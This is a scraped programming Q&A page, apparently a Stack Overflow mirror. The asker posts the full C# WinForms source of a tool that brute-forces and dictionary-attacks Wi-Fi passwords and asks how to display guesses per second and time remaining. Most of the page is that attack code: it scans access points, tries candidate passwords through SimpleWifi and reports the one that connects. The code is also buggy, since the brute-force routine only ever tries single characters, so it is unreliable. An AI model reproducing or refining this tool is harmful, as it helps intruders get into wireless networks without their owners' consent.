c#


C# How to calculate speed and estimated time [on hold]


I have created program in C# to bruteforce wifi.How to calculate how many passwords are tested in second,how to calculate estimated to finish bruteforce and how also to show estimated time in progress bar?
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using SimpleWifi;
using NativeWifi;
using System.Reflection;
using System.Collections.ObjectModel;
using System.Net;
using System.Threading;
using System.Text.RegularExpressions;
namespace Wifi_Bruteforce
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private static Wifi wifi;
WlanClient wlan = new WlanClient();
List<string> passwords = new List<string>();
private String Alphaup = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
private String Alphalow = "abcdefghijklmnopqrstuvwxyz";
private String num = "0123456789";
private String splchar = "~!##$%^&*()_+`-={}|[]:;'<>?,.";
private String output = "";
Thread t;
private static int count = 0;
private void Form1_Load(object sender, EventArgs e)
{
wifi = new Wifi();
wifi.ConnectionStatusChanged += wifi_ConnectionStatusChanged;
List();
lowercase.Checked = false;
uppercase.Checked = false;
digits.Checked = false;
symbols.Checked = false;
userDefined.Checked = false;
userDefined.Enabled = false;
comboBox1.SelectedIndex = 0;
pauseAttack.Enabled = false;
stopAttack.Enabled = false;
}
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
if (comboBox1.SelectedIndex == 0)
{
tabPage5.Enabled = true;
tabPage6.Enabled = true;
tabPage7.Enabled = false;
tabPage8.Enabled = true;
mask.Enabled = false;
startAttack.Text = "Start Brute-force";
pauseAttack.Text = "Pause Brute-force";
stopAttack.Text = "Stop Brute-force";
}
if (comboBox1.SelectedIndex == 1)
{
tabPage5.Enabled = true;
tabPage6.Enabled = false;
tabPage7.Enabled = false;
tabPage8.Enabled = true;
mask.Enabled = true;
}
if (comboBox1.SelectedIndex == 2)
{
tabPage5.Enabled = false;
tabPage6.Enabled = false;
tabPage7.Enabled = true;
tabPage8.Enabled = true;
mask.Enabled = false;
startAttack.Text = "Start Dictionary Attack";
pauseAttack.Text = "Pause Dictionary Attack";
stopAttack.Text = "Stop Dictionary Attack";
}
if (comboBox1.SelectedIndex == 3)
{
tabPage5.Enabled = false;
tabPage6.Enabled = true;
tabPage7.Enabled = false;
tabPage8.Enabled = true;
mask.Enabled = false;
}
}
private void spaces_CheckedChanged(object sender, EventArgs e)
{
if (spaces.Checked)
output += " ";
else
output = Regex.Replace(output, "[ ]", "");
}
private void digits_CheckedChanged(object sender, EventArgs e)
{
if (digits.Checked)
output += num;
else
output = Regex.Replace(output, "[0-9]", "");
}
private void lowercase_CheckedChanged(object sender, EventArgs e)
{
if (lowercase.Checked)
output += Alphalow;
else
output = Regex.Replace(output, "[a-z]", "");
}
private void uppercase_CheckedChanged(object sender, EventArgs e)
{
if (uppercase.Checked)
output += Alphaup;
else
output = Regex.Replace(output, "[A-Z]", "");
}
private void symbols_CheckedChanged(object sender, EventArgs e)
{
if (symbols.Checked)
output = output + splchar;
else
output = Regex.Replace(output, "[^a-zA-Z0-9]", "");
}
private delegate void SetControlPropertyThreadSafeDelegate(
Control control,
string propertyName,
object propertyValue);
public static void SetControlPropertyThreadSafe(
Control control,
string propertyName,
object propertyValue)
{
if (control.InvokeRequired)
{
control.Invoke(new SetControlPropertyThreadSafeDelegate
(SetControlPropertyThreadSafe),
new object[] { control, propertyName, propertyValue });
}
else
{
control.GetType().InvokeMember(
propertyName,
BindingFlags.SetProperty,
null,
control,
new object[] { propertyValue });
}
}
private bool check(AccessPoint selectedAP)
{
Collection<String> connectedSsids = new Collection<string>();
if (WifiStatus.Connected.ToString() == "Connected")
{
foreach (WlanClient.WlanInterface wlanInterface in wlan.Interfaces)
{
try
{
Wlan.Dot11Ssid ssid = wlanInterface.CurrentConnection.wlanAssociationAttributes.dot11Ssid;
connectedSsids.Add(new String(Encoding.ASCII.GetChars(ssid.SSID, 0, (int)ssid.SSIDLength)));
}
catch (Exception)
{
return false;
}
}
foreach (string ssid in connectedSsids)
{
if (selectedAP.Name == ssid)
{
return true;
}
else
{
return false;
}
}
}
return false;
}
public static bool CheckForInternetConnection()
{
try
{
using (var client = new WebClient())
using (var stream = client.OpenRead("http://www.google.com"))
{
return true;
}
}
catch
{
return false;
}
}
private IEnumerable<AccessPoint> List()
{
IEnumerable<AccessPoint> accessPoints = wifi.GetAccessPoints().OrderByDescending(ap => ap.SignalStrength);
foreach (AccessPoint ap in accessPoints)
{
ListViewItem lvItem = new ListViewItem(ap.Name);
lvItem.SubItems.Add(ap.SignalStrength + "%");
lvItem.Tag = ap;
listView1.Items.Add(lvItem);
}
return accessPoints;
}
private IEnumerable<AccessPoint> Scan()
{
IEnumerable<AccessPoint> accessPoints = wifi.GetAccessPoints().OrderByDescending(ap => ap.SignalStrength);
return accessPoints;
}
private static void wifi_ConnectionStatusChanged(object sender, WifiStatusEventArgs e)
{
Console.WriteLine("\nNew status: {0}", e.NewStatus.ToString());
}
private void OnConnectedComplete(bool success)
{
Console.WriteLine("\nOnConnectedComplete, success: {0}", success);
}
private void dictionary_crack(AccessPoint selectedAP)
{
var timeEnded = DateTime.Now;
while (true)
{
_pauseEvent.WaitOne(Timeout.Infinite);
if (_shutdownEvent.WaitOne(0))
break;
if (passwords.Count == 0)
{
MessageBox.Show("Please Select a Wordlist");
return;
}
foreach (string pass in passwords)
{
//SetControlPropertyThreadSafe(label3, "Text", "Status: Trying Password: " + pass + " (" + count + " / " + passwords.Count + ")"); count++;
SetControlPropertyThreadSafe(label4, "Text", pass);
SetControlPropertyThreadSafe(label5, "Text", count.ToString());
count++;
// Auth
AuthRequest authRequest = new AuthRequest(selectedAP);
bool overwrite = true;
if (authRequest.IsPasswordRequired)
{
if (overwrite)
{
if (authRequest.IsUsernameRequired)
{
Console.Write("\r\nPlease enter a username: ");
authRequest.Username = Console.ReadLine();
}
authRequest.Password = pass;
if (authRequest.IsDomainSupported)
{
Console.Write("\r\nPlease enter a domain: ");
authRequest.Domain = Console.ReadLine();
}
}
}
selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
int i = Convert.ToInt32(textBox1.Text);
Thread.Sleep(i * 1000);
if (check(selectedAP) == true && CheckForInternetConnection() == true)
{
SetControlPropertyThreadSafe(label4, "Text", pass);
MessageBox.Show("Password is :" + pass, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
return;
}
}
}
}
private void button1_Click(object sender, EventArgs e)
{
}
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
System.Diagnostics.Process.Start(e.Link.LinkData.ToString());
}
private void button3_Click(object sender, EventArgs e)
{
listView1.Items.Clear();
List();
}
private void button7_Click(object sender, EventArgs e)
{
listView1.Items.Clear();
List();
}
//Dictionary
private void button4_Click(object sender, EventArgs e)
{
OpenFileDialog oFile = new OpenFileDialog();
openFileDialog1.InitialDirectory = "c:\\";
openFileDialog1.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
openFileDialog1.FilterIndex = 2;
openFileDialog1.RestoreDirectory = true;
string path;
if (oFile.ShowDialog() == DialogResult.OK)
{
path = oFile.FileName;
int counter = 0;
string line;
System.IO.StreamReader file = new System.IO.StreamReader(path);
while ((line = file.ReadLine()) != null)
{
passwords.Add(line);
counter++;
}
file.Close();
}
}
//Bruteforce
private void startAttack_Click(object sender, EventArgs e)
{
var timeStarted = DateTime.Now;
label25.Text = timeStarted.ToString();
var accessPoints = Scan();
AccessPoint selectedAP = null;
foreach (AccessPoint ap in accessPoints)
{
if (ap.Name == listView1.SelectedItems[0].Text)
{
selectedAP = ap;
}
}
if (comboBox1.SelectedIndex == 0)
{
startAttack.Enabled = false;
pauseAttack.Enabled = true;
startAttack.Enabled = true;
try
{
t = new Thread(() => bruteforce_crack(selectedAP));
t.IsBackground = true;
t.Start();
}
catch (Exception a)
{
MessageBox.Show(a.ToString());
}
}
if (comboBox1.SelectedIndex == 1)
{
try
{
t = new Thread(() => dictionary_crack(selectedAP));
t.IsBackground = true;
t.Start();
}
catch (Exception a)
{
MessageBox.Show(a.ToString());
}
}
}
public void bruteforce_crack(AccessPoint selectedAP)
{
ulong permutations = 0;
while (true)
{
_pauseEvent.WaitOne(Timeout.Infinite);
if (_shutdownEvent.WaitOne(0))
break;
char[] arr = output.ToCharArray();
int max = Convert.ToInt32(numericUpDown2.Value);
int min = Convert.ToInt32(numericUpDown1.Value);
for (int i = min; i <= max; i++)
{
permutations += (ulong)Math.Pow(arr.Count(), i);
}
SetControlPropertyThreadSafe(label31, "Text", permutations.ToString());
for (int i = min; i <= max; i++)
{
bruteforce(arr, "", 0, i, selectedAP);
}
}
}
string pass = "";
private void bruteforce(char[] fin, String pwd, int pos, int length, AccessPoint selectedAP)
{
var timeEnded = DateTime.Now;
if (pos < length)
{
foreach (char ch in fin)
{
bruteforce(fin, pwd + ch, pos + 1, length, selectedAP);
pass = ch.ToString();
// Auth
AuthRequest authRequest = new AuthRequest(selectedAP);
bool overwrite = true;
if (authRequest.IsPasswordRequired)
{
if (overwrite)
{
if (authRequest.IsUsernameRequired)
{
Console.Write("\r\nPlease enter a username: ");
authRequest.Username = Console.ReadLine();
}
authRequest.Password = pass;
if (authRequest.IsDomainSupported)
{
Console.Write("\r\nPlease enter a domain: ");
authRequest.Domain = Console.ReadLine();
}
}
}
selectedAP.ConnectAsync(authRequest, overwrite, OnConnectedComplete);
int i = Convert.ToInt32(textBox1.Text);
Thread.Sleep(i * 1000);
}
}
else
{
try
{
SetControlPropertyThreadSafe(label4, "Text", pass);
SetControlPropertyThreadSafe(label5, "Text", count.ToString());
count++;
if (check(selectedAP) == true && CheckForInternetConnection() == true)
{
SetControlPropertyThreadSafe(label4, "Text", pass);
MessageBox.Show("Password is :" + pass, "Wifi Bruteforce", MessageBoxButtons.OK, MessageBoxIcon.Information);
SetControlPropertyThreadSafe(label34, "Text", timeEnded.ToString());
return;
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
ManualResetEvent _shutdownEvent = new ManualResetEvent(false);
ManualResetEvent _pauseEvent = new ManualResetEvent(true);
private void pauseAttack_Click(object sender, EventArgs e)
{
if (pauseAttack.Text == "Pause")
{
pauseAttack.Text = "Resume";
_pauseEvent.Reset();
}
else if (pauseAttack.Text == "Resume")
{
pauseAttack.Text = "Pause";
_pauseEvent.Set();
}
}
private void stopAttack_Click(object sender, EventArgs e)
{
startAttack.Enabled = true;
pauseAttack.Enabled = false;
stopAttack.Enabled = false;
_shutdownEvent.Set();
_pauseEvent.Set();
t.Join();
}
}
}

Related Links

using gZipStream with one or two memory streams makes a big difference
DirectoryEntry.Children and Dispose
How to get a PropertyGrid's cell value (c#)?
Flushing stream of ZIP
How do i declare namespace prefix for attribute in .NET?
How to avoid duplicate interface code?
WPF Datagrid ComboboxColumn Databinding
How to send and receive the POST request in asp.net?
Generate PDF/ Microsoft Word Reports using ASP.NET
C# Enum Type Scope Inside Static Class
CS1501: No overload for method 'ToString' takes 0 arguments?
Got “Index out of bounds” Error on List.Add() in c#
Cannot Start Windows Service in NetworkService account
Can't click textbox after validation fails
Why are objects passed by value modified as if they are passed by reference?
MVC passing variables within a controller

Categories

HOME
airflow
repository
virtual-machine
ebay
msbi
sugarcrm
aggregation-framework
zabbix
cdn
sitemap
android-webview
software-collections
google-my-business-api
jcodemodel
jpql
elastalert
pylint
simd
screen-scraping
ithit-webdav-server
stack-trace
android-6.0-marshmallow
cqlsh
pushpad
ios9
edsdk
kubectl
luhn
pymunk
kofax
stochastic-process
wufoo
head
smooth-streaming
python-venv
cakephp-3.2
niagara-ax
yank
react.rb
ionic2-select
cancan
playframework-2.3
boost-regex
programming-pearls
bipartite
group
dbi
deck.js
php-java-bridge
avi
angular-i18n
mod
ideavim
code-translation
google-finance-api
commercetools
javapackager
musicbrainz
playn
esb-toolkit-2.1
valdr-bean-validation
javadb
frisby.js
breeze-sharp
agent-based-modeling
livescript
ios-enterprise
angular-file-upload
sendy
opencobol
image-preloader
sqldatasource
pthreads-win32
mixradio
misfire-instruction
8-puzzle
pyxplot
spawn
linqdatasource
expresso-store
netbiscuits
custom-cursor
states
nserror
datasheet
rjs
execjs
auto-compile
nbehave
mysql-pconnect
atmega16

Resources

Mobile Apps Dev
Database Users
javascript
java
csharp
php
android
MS Developer
developer works
python
ios
c
html
jquery
RDBMS discuss
Cloud Virtualization
Database Dev&Adm
javascript
java
csharp
php
python
android
jquery
ruby
ios
html
Mobile App
Mobile App
Mobile App